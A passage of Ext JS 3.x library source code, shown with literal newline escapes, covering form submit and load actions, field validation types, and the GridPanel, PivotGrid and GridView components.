     if (h.el.getValue() == h.emptyText) {\n                    c.push(h);\n                    h.el.dom.value = \"\"\n                }\n                if (h.isComposite && h.rendered) {\n                    h.items.each(b)\n                }\n            };\n            a.each(b)\n        }\n        Ext.Ajax.request(Ext.apply(this.createCallback(e), {form:this.form.el.dom, url:this.getUrl(d), method:g, headers:e.headers, params:!d ? this.getParams() : null, isUpload:this.form.fileUpload}));\n        if (e.submitEmptyText === false) {\n            Ext.each(c, function (h) {\n                if (h.applyEmptyText) {\n                    h.applyEmptyText()\n                }\n            })\n        }\n    } else {\n        if (e.clientValidation !== false) {\n            this.failureType = Ext.form.Action.CLIENT_INVALID;\n            this.form.afterAction(this, false)\n        }\n    }\n}, success:function (b) {\n    var a = this.processResponse(b);\n    if (a === true || a.success) {\n        this.form.afterAction(this, true);\n        return\n    }\n    if (a.errors) {\n        this.form.markInvalid(a.errors)\n    }\n    this.failureType = Ext.form.Action.SERVER_INVALID;\n    this.form.afterAction(this, false)\n}, handleResponse:function (c) {\n    if (this.form.errorReader) {\n        var b = this.form.errorReader.read(c);\n        var g = [];\n        if (b.records) {\n            for (var d = 0, a = b.records.length; d < a; d++) {\n                var e = b.records[d];\n                g[d] = e.data\n            }\n        }\n        if (g.length < 1) {\n            g = null\n        }\n        return{success:b.success, errors:g}\n    }\n    return this.decodeResponse(c)\n}});\nExt.form.Action.Load = function (b, a) {\n    Ext.form.Action.Load.superclass.constructor.call(this, b, a);\n    this.reader = this.form.reader\n};\nExt.extend(Ext.form.Action.Load, Ext.form.Action, {type:\"load\", run:function () {\n    Ext.Ajax.request(Ext.apply(this.createCallback(this.options), {method:this.getMethod(), url:this.getUrl(false), headers:this.options.headers, params:this.getParams()}))\n}, success:function (b) {\n    var a = this.processResponse(b);\n    if (a === true || !a.success || !a.data) {\n        this.failureType = Ext.form.Action.LOAD_FAILURE;\n        this.form.afterAction(this, false);\n        return\n    }\n    this.form.clearInvalid();\n    this.form.setValues(a.data);\n    this.form.afterAction(this, true)\n}, handleResponse:function (b) {\n    if (this.form.reader) {\n        var a = this.form.reader.read(b);\n        var c = a.records && a.records[0] ? a.records[0].data : null;\n        return{success:a.success, data:c}\n    }\n    return this.decodeResponse(b)\n}});\nExt.form.Action.DirectLoad = Ext.extend(Ext.form.Action.Load, {constructor:function (b, a) {\n    Ext.form.Action.DirectLoad.superclass.constructor.call(this, b, a)\n}, type:\"directload\", run:function () {\n    var a = this.getParams();\n    a.push(this.success, this);\n    this.form.api.load.apply(window, a)\n}, getParams:function () {\n    var c = [], h = {};\n    var e = this.form.baseParams;\n    var g = this.options.params;\n    Ext.apply(h, g, e);\n    var b = this.form.paramOrder;\n    if (b) {\n        for (var d = 0, a = b.length; d < a; d++) {\n            c.push(h[b[d]])\n        }\n    } else {\n        if (this.form.paramsAsHash) {\n            c.push(h)\n        }\n    }\n    return c\n}, processResponse:function (a) {\n    this.result = a;\n    return a\n}, success:function (a, b) {\n    if (b.type == Ext.Direct.exceptions.SERVER) {\n        a = {}\n    }\n    Ext.form.Action.DirectLoad.superclass.success.call(this, a)\n}});\nExt.form.Action.DirectSubmit = Ext.extend(Ext.form.Action.Submit, {constructor:function (b, a) {\n    Ext.form.Action.DirectSubmit.superclass.constructor.call(this, b, a)\n}, type:\"directsubmit\", run:function () {\n    var a = this.options;\n    if (a.clientValidation === false || this.form.isValid()) {\n        this.success.params = this.getParams();\n        this.form.api.submit(this.form.el.dom, this.success, this)\n    } else {\n        if (a.clientValidation !== false) {\n            this.failureType = Ext.form.Action.CLIENT_INVALID;\n            this.form.afterAction(this, false)\n        }\n    }\n}, getParams:function () {\n    var c = {};\n    var a = this.form.baseParams;\n    var b = this.options.params;\n    Ext.apply(c, b, a);\n    return c\n}, processResponse:function (a) {\n    this.result = a;\n    return a\n}, success:function (a, b) {\n    if (b.type == Ext.Direct.exceptions.SERVER) {\n        a = {}\n    }\n    Ext.form.Action.DirectSubmit.superclass.success.call(this, a)\n}});\nExt.form.Action.ACTION_TYPES = {load:Ext.form.Action.Load, submit:Ext.form.Action.Submit, directload:Ext.form.Action.DirectLoad, directsubmit:Ext.form.Action.DirectSubmit};\nExt.form.VTypes = function () {\n    var c = /^[a-zA-Z_]+$/, d = /^[a-zA-Z0-9_]+$/, b = /^(\\w+)([\\-+.\\'][\\w]+)*@(\\w[\\-\\w]*\\.){1,5}([A-Za-z]){2,6}$/, a = /(((^https?)|(^ftp)):\\/\\/([\\-\\w]+\\.)+\\w{2,3}(\\/[%\\-\\w]+(\\.\\w{2,})?)*(([\\w\\-\\.\\?\\\\\\/+@&#;`~=%!]*)(\\.\\w{2,})?)*\\/?)/i;\n    return{email:function (e) {\n        return b.test(e)\n    }, emailText:'This field should be an e-mail address in the format \"user@example.com\"', emailMask:/[a-z0-9_\\.\\-\\+\\'@]/i, url:function (e) {\n        return a.test(e)\n    }, urlText:'This field should be a URL in the format \"http://www.example.com\"', alpha:function (e) {\n        return c.test(e)\n    }, alphaText:\"This field should only contain letters and _\", alphaMask:/[a-z_]/i, alphanum:function (e) {\n        return d.test(e)\n    }, alphanumText:\"This field should only contain letters, numbers and _\", alphanumMask:/[a-z0-9_]/i}\n}();\nExt.grid.GridPanel = Ext.extend(Ext.Panel, {autoExpandColumn:false, autoExpandMax:1000, autoExpandMin:50, columnLines:false, ddText:\"{0} selected row{1}\", deferRowRender:true, enableColumnHide:true, enableColumnMove:true, enableDragDrop:false, enableHdMenu:true, loadMask:false, minColumnWidth:25, stripeRows:false, trackMouseOver:true, stateEvents:[\"columnmove\", \"columnresize\", \"sortchange\", \"groupchange\"], view:null, bubbleEvents:[], rendered:false, viewReady:false, initComponent:function () {\n    Ext.grid.GridPanel.superclass.initComponent.call(this);\n    if (this.columnLines) {\n        this.cls = (this.cls || \"\") + \" x-grid-with-col-lines\"\n    }\n    this.autoScroll = false;\n    this.autoWidth = false;\n    if (Ext.isArray(this.columns)) {\n        this.colModel = new Ext.grid.ColumnModel(this.columns);\n        delete this.columns\n    }\n    if (this.ds) {\n        this.store = this.ds;\n        delete this.ds\n    }\n    if (this.cm) {\n        this.colModel = this.cm;\n        delete this.cm\n    }\n    if (this.sm) {\n        this.selModel = this.sm;\n        delete this.sm\n    }\n    this.store = Ext.StoreMgr.lookup(this.store);\n    this.addEvents(\"click\", \"dblclick\", \"contextmenu\", \"mousedown\", \"mouseup\", \"mouseover\", \"mouseout\", \"keypress\", \"keydown\", \"cellmousedown\", \"rowmousedown\", \"headermousedown\", \"groupmousedown\", \"rowbodymousedown\", \"containermousedown\", \"cellclick\", \"celldblclick\", \"rowclick\", \"rowdblclick\", \"headerclick\", \"headerdblclick\", \"groupclick\", \"groupdblclick\", \"containerclick\", \"containerdblclick\", \"rowbodyclick\", \"rowbodydblclick\", \"rowcontextmenu\", \"cellcontextmenu\", \"headercontextmenu\", \"groupcontextmenu\", \"containercontextmenu\", \"rowbodycontextmenu\", \"bodyscroll\", \"columnresize\", \"columnmove\", \"sortchange\", \"groupchange\", \"reconfigure\", \"viewready\")\n}, onRender:function (d, a) {\n    Ext.grid.GridPanel.superclass.onRender.apply(this, arguments);\n    var e = this.getGridEl();\n    this.el.addClass(\"x-grid-panel\");\n    this.mon(e, {scope:this, mousedown:this.onMouseDown, click:this.onClick, dblclick:this.onDblClick, contextmenu:this.onContextMenu});\n    this.relayEvents(e, [\"mousedown\", \"mouseup\", \"mouseover\", \"mouseout\", \"keypress\", \"keydown\"]);\n    var b = this.getView();\n    b.init(this);\n    b.render();\n    this.getSelectionModel().init(this)\n}, initEvents:function () {\n    Ext.grid.GridPanel.superclass.initEvents.call(this);\n    if (this.loadMask) {\n        this.loadMask = new Ext.LoadMask(this.bwrap, Ext.apply({store:this.store}, this.loadMask))\n    }\n}, initStateEvents:function () {\n    Ext.grid.GridPanel.superclass.initStateEvents.call(this);\n    this.mon(this.colModel, \"hiddenchange\", this.saveState, this, {delay:100})\n}, applyState:function (a) {\n    var k = this.colModel, g = a.columns, j = this.store, m, h, l;\n    if (g) {\n        for (var d = 0, e = g.length; d < e; d++) {\n            m = g[d];\n            h = k.getColumnById(m.id);\n            if (h) {\n                l = k.getIndexById(m.id);\n                k.setState(l, {hidden:m.hidden, width:m.width, sortable:m.sortable});\n                if (l != d) {\n                    k.moveColumn(l, d)\n                }\n            }\n        }\n    }\n    if (j) {\n        m = a.sort;\n        if (m) {\n            j[j.remoteSort ? \"setDefaultSort\" : \"sort\"](m.field, m.direction)\n        }\n        m = a.group;\n        if (j.groupBy) {\n            if (m) {\n                j.groupBy(m)\n            } else {\n                j.clearGrouping()\n            }\n        }\n    }\n    var b = Ext.apply({}, a);\n    delete b.columns;\n    delete b.sort;\n    Ext.grid.GridPanel.superclass.applyState.call(this, b)\n}, getState:function () {\n    var g = {columns:[]}, b = this.store, e, a;\n    for (var d = 0, h; (h = this.colModel.config[d]); d++) {\n        g.columns[d] = {id:h.id, width:h.width};\n        if (h.hidden) {\n            g.columns[d].hidden = true\n        }\n        if (h.sortable) {\n            g.columns[d].sortable = true\n        }\n    }\n    if (b) {\n        e = b.getSortState();\n        if (e) {\n            g.sort = e\n        }\n        if (b.getGroupState) {\n            a = b.getGroupState();\n            if (a) {\n                g.group = a\n            }\n        }\n    }\n    return g\n}, afterRender:function () {\n    Ext.grid.GridPanel.superclass.afterRender.call(this);\n    var a = this.view;\n    this.on(\"bodyresize\", a.layout, a);\n    a.layout(true);\n    if (this.deferRowRender) {\n        if (!this.deferRowRenderTask) {\n            this.deferRowRenderTask = new Ext.util.DelayedTask(a.afterRender, this.view)\n        }\n        this.deferRowRenderTask.delay(10)\n    } else {\n        a.afterRender()\n    }\n    this.viewReady = true\n}, reconfigure:function (a, b) {\n    var c = this.rendered;\n    if (c) {\n        if (this.loadMask) {\n            this.loadMask.destroy();\n            this.loadMask = new Ext.LoadMask(this.bwrap, Ext.apply({}, {store:a}, this.initialConfig.loadMask))\n        }\n    }\n    if (this.view) {\n        this.view.initData(a, b)\n    }\n    this.store = a;\n    this.colModel = b;\n    if (c) {\n        this.view.refresh(true)\n    }\n    this.fireEvent(\"reconfigure\", this, a, b)\n}, onDestroy:function () {\n    if (this.deferRowRenderTask && this.deferRowRenderTask.cancel) {\n        this.deferRowRenderTask.cancel()\n    }\n    if (this.rendered) {\n        Ext.destroy(this.view, this.loadMask)\n    } else {\n        if (this.store && this.store.autoDestroy) {\n            this.store.destroy()\n        }\n    }\n    Ext.destroy(this.colModel, this.selModel);\n    this.store = this.selModel = this.colModel = this.view = this.loadMask = null;\n    Ext.grid.GridPanel.superclass.onDestroy.call(this)\n}, processEvent:function (a, b) {\n    this.view.processEvent(a, b)\n}, onClick:function (a) {\n    this.processEvent(\"click\", a)\n}, onMouseDown:function (a) {\n    this.processEvent(\"mousedown\", a)\n}, onContextMenu:function (b, a) {\n    this.processEvent(\"contextmenu\", b)\n}, onDblClick:function (a) {\n    this.processEvent(\"dblclick\", a)\n}, walkCells:function (k, c, b, e, j) {\n    var i = this.colModel, g = i.getColumnCount(), a = this.store, h = a.getCount(), d = true;\n    if (b < 0) {\n        if (c < 0) {\n            k--;\n            d = false\n        }\n        while (k >= 0) {\n            if (!d) {\n                c = g - 1\n            }\n            d = false;\n            while (c >= 0) {\n                if (e.call(j || this, k, c, i) === true) {\n                    return[k, c]\n                }\n                c--\n            }\n            k--\n        }\n    } else {\n        if (c >= g) {\n            k++;\n            d = false\n        }\n        while (k < h) {\n            if (!d) {\n                c = 0\n            }\n            d = false;\n            while (c < g) {\n                if (e.call(j || this, k, c, i) === true) {\n                    return[k, c]\n                }\n                c++\n            }\n            k++\n        }\n    }\n    return null\n}, getGridEl:function () {\n    return this.body\n}, stopEditing:Ext.emptyFn, getSelectionModel:function () {\n    if (!this.selModel) {\n        this.selModel = new Ext.grid.RowSelectionModel(this.disableSelection ? {selectRow:Ext.emptyFn} : null)\n    }\n    return this.selModel\n}, getStore:function () {\n    return this.store\n}, getColumnModel:function () {\n    return this.colModel\n}, getView:function () {\n    if (!this.view) {\n        this.view = new Ext.grid.GridView(this.viewConfig)\n    }\n    return this.view\n}, getDragDropText:function () {\n    var a = this.selModel.getCount();\n    return String.format(this.ddText, a, a == 1 ? \"\" : \"s\")\n}});\nExt.reg(\"grid\", Ext.grid.GridPanel);\nExt.grid.PivotGrid = Ext.extend(Ext.grid.GridPanel, {aggregator:\"sum\", renderer:undefined, initComponent:function () {\n    Ext.grid.PivotGrid.superclass.initComponent.apply(this, arguments);\n    this.initAxes();\n    this.enableColumnResize = false;\n    this.viewConfig = Ext.apply(this.viewConfig || {}, {forceFit:true});\n    this.colModel = new Ext.grid.ColumnModel({})\n}, getAggregator:function () {\n    if (typeof this.aggregator == \"string\") {\n        return Ext.grid.PivotAggregatorMgr.types[this.aggregator]\n    } else {\n        return this.aggregator\n    }\n}, setAggregator:function (a) {\n    this.aggregator = a\n}, setMeasure:function (a) {\n    this.measure = a\n}, setLeftAxis:function (b, a) {\n    this.leftAxis = b;\n    if (a) {\n        this.view.refresh()\n    }\n}, setTopAxis:function (b, a) {\n    this.topAxis = b;\n    if (a) {\n        this.view.refresh()\n    }\n}, initAxes:function () {\n    var a = Ext.grid.PivotAxis;\n    if (!(this.leftAxis instanceof a)) {\n        this.setLeftAxis(new a({orientation:\"vertical\", dimensions:this.leftAxis || [], store:this.store}))\n    }\n    if (!(this.topAxis instanceof a)) {\n        this.setTopAxis(new a({orientation:\"horizontal\", dimensions:this.topAxis || [], store:this.store}))\n    }\n}, extractData:function () {\n    var c = this.store.data.items, s = c.length, q = [], h, g, e, d;\n    if (s == 0) {\n        return[]\n    }\n    var l = this.leftAxis.getTuples(), o = l.length, m = this.topAxis.getTuples(), a = m.length, b = this.getAggregator();\n    for (g = 0; g < s; g++) {\n        h = c[g];\n        for (e = 0; e < o; e++) {\n            q[e] = q[e] || [];\n            if (l[e].matcher(h) === true) {\n                for (d = 0; d < a; d++) {\n                    q[e][d] = q[e][d] || [];\n                    if (m[d].matcher(h)) {\n                        q[e][d].push(h)\n                    }\n                }\n            }\n        }\n    }\n    var n = q.length, p, r;\n    for (g = 0; g < n; g++) {\n        r = q[g];\n        p = r.length;\n        for (e = 0; e < p; e++) {\n            q[g][e] = b(q[g][e], this.measure)\n        }\n    }\n    return q\n}, getView:function () {\n    if (!this.view) {\n        this.view = new Ext.grid.PivotGridView(this.viewConfig)\n    }\n    return this.view\n}});\nExt.reg(\"pivotgrid\", Ext.grid.PivotGrid);\nExt.grid.PivotAggregatorMgr = new Ext.AbstractManager();\nExt.grid.PivotAggregatorMgr.registerType(\"sum\", function (a, c) {\n    var e = a.length, d = 0, b;\n    for (b = 0; b < e; b++) {\n        d += a[b].get(c)\n    }\n    return d\n});\nExt.grid.PivotAggregatorMgr.registerType(\"avg\", function (a, c) {\n    var e = a.length, d = 0, b;\n    for (b = 0; b < e; b++) {\n        d += a[b].get(c)\n    }\n    return(d / e) || \"n/a\"\n});\nExt.grid.PivotAggregatorMgr.registerType(\"min\", function (a, c) {\n    var e = [], d = a.length, b;\n    for (b = 0; b < d; b++) {\n        e.push(a[b].get(c))\n    }\n    return Math.min.apply(this, e) || \"n/a\"\n});\nExt.grid.PivotAggregatorMgr.registerType(\"max\", function (a, c) {\n    var e = [], d = a.length, b;\n    for (b = 0; b < d; b++) {\n        e.push(a[b].get(c))\n    }\n    return Math.max.apply(this, e) || \"n/a\"\n});\nExt.grid.PivotAggregatorMgr.registerType(\"count\", function (a, b) {\n    return a.length\n});\nExt.grid.GridView = Ext.extend(Ext.util.Observable, {deferEmptyText:true, scrollOffset:undefined, autoFill:false, forceFit:false, sortClasses:[\"sort-asc\", \"sort-desc\"], sortAscText:\"Sort Ascending\", sortDescText:\"Sort Descending\", columnsText:\"Columns\", selectedRowClass:\"x-grid3-row-selected\", borderWidth:2, tdClass:\"x-grid3-cell\", hdCls:\"x-grid3-hd\", markDirty:true, cellSelectorDepth:4, rowSelectorDepth:10, rowBodySelectorDepth:10, cellSelector:\"td.x-grid3-cell\", rowSelector:\"div.x-grid3-row\", rowBodySelector:\"div.x-grid3-row-body\", firstRowCls:\"x-grid3-row-first\", lastRowCls:\"x-grid3-row-last\", rowClsRe:/(?:^|\\s+)x-grid3-row-(first|last|alt)(?:\\s+|$)/g, headerMenuOpenCls:\"x-grid3-hd-menu-open\", rowOverCls:\"x-grid3-row-over\", constructor:function (a) {\n    Ext.apply(this, a);\n    this.addEvents(\"beforerowremoved\", \"beforerowsinserted\", \"beforerefresh\", \"rowremoved\", \"rowsinserted\", \"rowupdated\", \"refresh\");\n    Ext.grid.GridView.superclass.constructor.call(this)\n}, masterTpl:new Ext.Template('<div class=\"x-grid3\" hidefocus=\"true\">', '<div class=\"x-grid3-viewport\">', '<div class=\"x-grid3-header\">', '<div class=\"x-grid3-header-inner\">', '<div class=\"x-grid3-header-offset\" style=\"{ostyle}\">{header}</div>', \"</div>\", '<div class=\"x-clear\"></div>', \"</div>\", '<div class=\"x-grid3-scroller\">', '<div class=\"x-grid3-body\" style=\"{bstyle}\">{body}</div>', '<a href=\"#\" class=\"x-grid3-focus\" tabIndex=\"-1\"></a>', \"</div>\", \"</div>\", '<div class=\"x-grid3-resize-marker\">&#160;</div>', '<div class=\"x-grid3-resize-proxy\">&#160;</div>', \"</div>\"), headerTpl:new Ext.Template('<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\" style=\"{tstyle}\">', \"<thead>\", '<tr class=\"x-grid3-hd-row\">{cells}</tr>', \"</thead>\", \"</table>\"), bodyTpl:new Ext.Template(\"{rows}\"), cellTpl:new Ext.Template('<td class=\"x-grid3-col x-grid3-cell x-grid3-td-{id} {css}\" style=\"{style}\" tabIndex=\"0\" {cellAttr}>', '<div class=\"x-grid3-cell-inner x-grid3-col-{id}\" unselectable=\"on\" {attr}>{value}</div>', \"</td>\"), initTemplates:function () {\n    var c = this.templates || {}, d, b, g = new Ext.Template('<td class=\"x-grid3-hd x-grid3-cell x-grid3-td-{id} {css}\" style=\"{style}\">', '<div {tooltip} {attr} class=\"x-grid3-hd-inner x-grid3-hd-{id}\" unselectable=\"on\" style=\"{istyle}\">', this.grid.enableHdMenu ? '<a class=\"x-grid3-hd-btn\" href=\"#\"></a>' : \"\", \"{value}\", '<img alt=\"\" class=\"x-grid3-sort-icon\" src=\"', Ext.BLANK_IMAGE_URL, '\" />', \"</div>\", \"</td>\"), a = ['<tr class=\"x-grid3-row-body-tr\" style=\"{bodyStyle}\">', '<td colspan=\"{cols}\" class=\"x-grid3-body-cell\" tabIndex=\"0\" hidefocus=\"on\">', '<div class=\"x-grid3-row-body\">{body}</div>', \"</td>\", \"</tr>\"].join(\"\"), e = ['<table class=\"x-grid3-row-table\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" style=\"{tstyle}\">', \"<tbody>\", \"<tr>{cells}</tr>\", this.enableRowBody ? a : \"\", \"</tbody>\", \"</table>\"].join(\"\");\n    Ext.applyIf(c, {hcell:g, cell:this.cellTpl, body:this.bodyTpl, header:this.headerTpl, master:this.masterTpl, row:new Ext.Template('<div class=\"x-grid3-row {alt}\" style=\"{tstyle}\">' + e + \"</div>\"), rowInner:new Ext.Template(e)});\n    for (b in c) {\n        d = c[b];\n        if (d && Ext.isFunction(d.compile) && !d.compiled) {\n            d.disableFormats = true;\n            d.compile()\n        }\n    }\n    this.templates = c;\n    this.colRe = new RegExp(\"x-grid3-td-([^\\\\s]+)\", \"\")\n}, fly:function (a) {\n    if (!this._flyweight) {\n        this._flyweight = new Ext.Element.Flyweight(document.body)\n    }\n    this._flyweight.dom = a;\n    return this._flyweight\n}, getEditorParent:function () {\n    return this.scroller.dom\n}, initElements:function () {\n    var b = Ext.Element, d = Ext.get(this.grid.getGridEl().dom.firstChild), e = new b(d.child(\"div.x-grid3-viewport\")), c = new b(e.child(\"div.x-grid3-header\")), a = new b(e.child(\"div.x-grid3-scroller\"));\n    if (this.grid.hideHeaders) {\n        c.setDisplayed(false)\n    }\n    if (this.forceFit) {\n        a.setStyle(\"overflow-x\", \"hidden\")\n    }\n    Ext.apply(this, {el:d, mainWrap:e, scroller:a, mainHd:c, innerHd:c.child(\"div.x-grid3-header-inner\").dom, mainBody:new b(b.fly(a).child(\"div.x-grid3-body\")), focusEl:new b(b.fly(a).child(\"a\")), resizeMarker:new b(d.child(\"div.x-grid3-resize-marker\")), resizeProxy:new b(d.child(\"div.x-grid3-resize-proxy\"))});\n    this.focusEl.swallowEvent(\"click\", true)\n}, getRows:function () {\n    return this.hasRows() ? this.mainBody.dom.childNodes : []\n}, findCell:function (a) {\n    if (!a) {\n        return false\n    }\n    return this.fly(a).findParent(this.cellSelector, this.cellSelectorDepth)\n}, findCellIndex:function (d, c) {\n    var b = this.findCell(d), a;\n    if (b) {\n        a = this.fly(b).hasClass(c);\n        if (!c || a) {\n            return this.getCellIndex(b)\n        }\n    }\n    return false\n}, getCellIndex:function (b) {\n    if (b) {\n        var a = b.className.match(this.colRe);\n        if (a && a[1]) {\n            return this.cm.getIndexById(a[1])\n        }\n    }\n    return false\n}, findHeaderCell:function (b) {\n    var a = this.findCell(b);\n    return a && this.fly(a).hasClass(this.hdCls) ? a : null\n}, findHeaderIndex:function (a) {\n    return this.findCellIndex(a, this.hdCls)\n}, findRow:function (a) {\n    if (!a) {\n        return false\n    }\n    return this.fly(a).findParent(this.rowSelector, this.rowSelectorDepth)\n}, findRowIndex:function (a) {\n    var b = this.findRow(a);\n    return b ? b.rowIndex : false\n}, findRowBody:function (a) {\n    if (!a) {\n        return false\n    }\n    return this.fly(a).findParent(this.rowBodySelector, this.rowBodySelectorDepth)\n}, getRow:function (a) {\n    return this.getRows()[a]\n}, getCell:function (b, a) {\n    return Ext.fly(this.getRow(b)).query(this.cellSelector)[a]\n}, getHeaderCell:function (a) {\n    return this.mainHd.dom.getElementsByTagName(\"td\")[a]\n}, addRowClass:function (b, a) {\n    var c = this.getRow(b);\n    if (c) {\n        this.fly(c).addClass(a)\n    }\n}, removeRowClass:function (c, a) {\n    var b = this.getRow(c);\n    if (b) {\n        this.fly(b).removeClass(a)\n    }\n}, removeRow:function (a) {\n    Ext.removeNode(this.getRow(a));\n    this.syncFocusEl(a)\n}, removeRows:function (c, a) {\n    var b = this.mainBody.dom, d;\n    for (d = c; d <= a; d++) {\n        Ext.removeNode(b.childNodes[c])\n    }\n    this.syncFocusEl(c)\n}, getScrollState:function () {\n    var a = this.scroller.dom;\n    return{left:a.scrollLeft, top:a.scrollTop}\n}, restoreScroll:function (a) {\n    var b = this.scroller.dom;\n    b.scrollLeft = a.left;\n    b.scrollTop = a.top\n}, scrollToTop:function () {\n    var a = this.scroller.dom;\n    a.scrollTop = 0;\n    a.scrollLeft = 0\n}, syncScroll:function () {\n    this.syncHeaderScroll();\n    var a = this.scroller.dom;\n    this.grid.fireEvent(\"bodyscroll\", a.scrollLeft, a.scrollTop)\n}, syncHeaderScroll:function () {\n    var a = this.innerHd, b = this.scroller.dom.scrollLeft;\n    a.scrollLeft = b;\n    a.scrollLeft = b\n}, updateSortIcon:function (d, c) {\n    var a = this.sortClasses, b = a[c == \"DESC\" ? 1 : 0], e = this.mainHd.select(\"td\").removeClass(a);\n    e.item(d).addClass(b)\n}, updateAllColumnWidths:function () {\n    var e = this.getTotalWidth(), k = this.cm.getColumnCount(), m = this.getRows(), g = m.length, b = [], l, a, h, d, c;\n    for (d = 0; d < k; d++) {\n        b[d] = this.getColumnWidth(d);\n        this.getHeaderCell(d).style.width = b[d]\n    }\n    this.updateHeaderWidth();\n    for (d = 0; d < g; d++) {\n        l = m[d];\n        l.style.width = e;\n        a = l.firstChild;\n        if (a) {\n            a.style.width = e;\n            h = a.rows[0];\n            for (c = 0; c < k; c++) {\n                h.childNodes[c].style.width = b[c]\n            }\n        }\n    }\n    this.onAllColumnWidthsUpdated(b, e)\n}, updateColumnWidth:function (d, b) {\n    var c = this.getColumnWidth(d), j = this.getTotalWidth(), h = this.getHeaderCell(d), a = this.getRows(), e = a.length, l, g, k;\n    this.updateHeaderWidth();\n    h.style.width = c;\n    for (g = 0; g < e; g++) {\n        l = a[g];\n        k = l.firstChild;\n        l.style.width = j;\n        if (k) {\n            k.style.width = j;\n            k.rows[0].childNodes[d].style.width = c\n        }\n    }\n    this.onColumnWidthUpdated(d, c, j)\n}, updateColumnHidden:function (b, j) {\n    var h = this.getTotalWidth(), k = j ? \"none\" : \"\", g = this.getHeaderCell(b), a = this.getRows(), d = a.length, l, c, e;\n    this.updateHeaderWidth();\n    g.style.display = k;\n    for (e = 0; e < d; e++) {\n        l = a[e];\n        l.style.width = h;\n        c = l.firstChild;\n        if (c) {\n            c.style.width = h;\n            c.rows[0].childNodes[b].style.display = k\n        }\n    }\n    this.onColumnHiddenUpdated(b, j, h);\n    delete this.lastViewWidth;\n    this.layout()\n}, doRender:function (d, v, m, a, r, t) {\n    var h = this.templates, c = h.cell, y = h.row, o = r - 1, b = \"width:\" + this.getTotalWidth() + \";\", k = [], l = [], n = {tstyle:b}, q = {}, w = v.length, x, g, e, u, s, p;\n    for (s = 0; s < w; s++) {\n        e = v[s];\n        l = [];\n        p = s + a;\n        for (u = 0; u < r; u++) {\n            g = d[u];\n            q.id = g.id;\n            q.css = u === 0 ? \"x-grid3-cell-first \" : (u == o ? \"x-grid3-cell-last \" : \"\");\n            q.attr = q.cellAttr = \"\";\n            q.style = g.style;\n            q.value = g.renderer.call(g.scope, e.data[g.name], q, e, p, u, m);\n            if (Ext.isEmpty(q.value)) {\n                q.value = \"&#160;\"\n            }\n            if (this.markDirty && e.dirty && typeof e.modified[g.name] != \"undefined\") {\n                q.css += \" x-grid3-dirty-cell\"\n            }\n            l[l.length] = c.apply(q)\n        }\n        x = [];\n        if (t && ((p + 1) % 2 === 0)) {\n            x[0] = \"x-grid3-row-alt\"\n        }\n        if (e.dirty) {\n            x[1] = \" x-grid3-dirty-row\"\n        }\n        n.cols = r;\n        if (this.getRowClass) {\n            x[2] = this.getRowClass(e, p, n, m)\n        }\n        n.alt = x.join(\" \");\n        n.cells = l.join(\"\");\n        k[k.length] = y.apply(n)\n    }\n    return k.join(\"\")\n}, processRows:function (a, g) {\n    if (!this.ds || this.ds.getCount() < 1) {\n        return\n    }\n    var d = this.getRows(), c = d.length, e, b;\n    g = g || !this.grid.stripeRows;\n    a = a || 0;\n    for (b = 0; b < c; b++) {\n        e = d[b];\n        if (e) {\n            e.rowIndex = b;\n            if (!g) {\n                e.className = e.className.replace(this.rowClsRe, \" \");\n                if ((b + 1) % 2 === 0) {\n                    e.className += \" x-grid3-row-alt\"\n                }\n            }\n        }\n    }\n    if (a === 0) {\n        Ext.fly(d[0]).addClass(this.firstRowCls)\n    }\n    Ext.fly(d[c - 1]).addClass(this.lastRowCls)\n}, afterRender:function () {\n    if (!this.ds || !this.cm) {\n        return\n    }\n    this.mainBody.dom.innerHTML = this.renderBody() || \"&#160;\";\n    this.processRows(0, true);\n    if (this.deferEmptyText !== true) {\n        this.applyEmptyText()\n    }\n    this.grid.fireEvent(\"viewready\", this.grid)\n}, afterRenderUI:function () {\n    var a = this.grid;\n    this.initElements();\n    Ext.fly(this.innerHd).on(\"click\", this.handleHdDown, this);\n    this.mainHd.on({scope:this, mouseover:this.handleHdOver, mouseout:this.handleHdOut, mousemove:this.handleHdMove});\n    this.scroller.on(\"scroll\", this.syncScroll, this);\n    if (a.enableColumnResize !== false) {\n        this.splitZone = new Ext.grid.GridView.SplitDragZone(a, this.mainHd.dom)\n    }\n    if (a.enableColumnMove) {\n        this.columnDrag = new Ext.grid.GridView.ColumnDragZone(a, this.innerHd);\n        this.columnDrop = new Ext.grid.HeaderDropZone(a, this.mainHd.dom)\n    }\n    if (a.enableHdMenu !== false) {\n        this.hmenu = new Ext.menu.Menu({id:a.id + \"-hctx\"});\n        this.hmenu.add({itemId:\"asc\", text:this.sortAscText, cls:\"xg-hmenu-sort-asc\"}, {itemId:\"desc\", text:this.sortDescText, cls:\"xg-hmenu-sort-desc\"});\n        if (a.enableColumnHide !== false) {\n            this.colMenu = new Ext.menu.Menu({id:a.id + \"-hcols-menu\"});\n            this.colMenu.on({scope:this, beforeshow:this.beforeColMenuShow, itemclick:this.handleHdMenuClick});\n            this.hmenu.add(\"-\", {itemId:\"columns\", hideOnClick:false, text:this.columnsText, menu:this.colMenu, iconCls:\"x-cols-icon\"})\n        }\n        this.hmenu.on(\"itemclick\", this.handleHdMenuClick, this)\n    }\n    if (a.trackMouseOver) {\n        this.mainBody.on({scope:this, mouseover:this.onRowOver, mouseout:this.onRowOut})\n    }\n    if (a.enableDragDrop || a.enableDrag) {\n        this.dragZone = new Ext.grid.GridDragZone(a, {ddGroup:a.ddGroup || \"GridDD\"})\n    }\n    this.updateHeaderSortState()\n}, renderUI:function () {\n    var a = this.templates;\n    return a.master.apply({body:a.body.apply({rows:\"&#160;\"}), header:this.renderHeaders(), ostyle:\"width:\" + this.getOffsetWidth() + \";\", bstyle:\"width:\" + this.getTotalWidth() + \";\"})\n}, processEvent:function (b, h) {\n    var i = h.getTarget(), a = this.grid, d = this.findHeaderIndex(i), k, j, c, g;\n    a.fireEvent(b, h);\n    if (d !== false) {\n        a.fireEvent(\"header\" + b, a, d, h)\n    } else {\n        k = this.findRowIndex(i);\n        if (k !== false) {\n            j = this.findCellIndex(i);\n            if (j !== false) {\n                c = a.colModel.getColumnAt(j);\n                if (a.fireEvent(\"cell\" + b, a, k, j, h) !== false) {\n                    if (!c || (c.processEvent && (c.processEvent(b, h, a, k, j) !== false))) {\n                        a.fireEvent(\"row\" + b, a, k, h)\n                    }\n                }\n            } else {\n                if (a.fireEvent(\"row\" + b, a, k, h) !== false) {\n                    (g = this.findRowBody(i)) && a.fireEvent(\"rowbody\" + b, 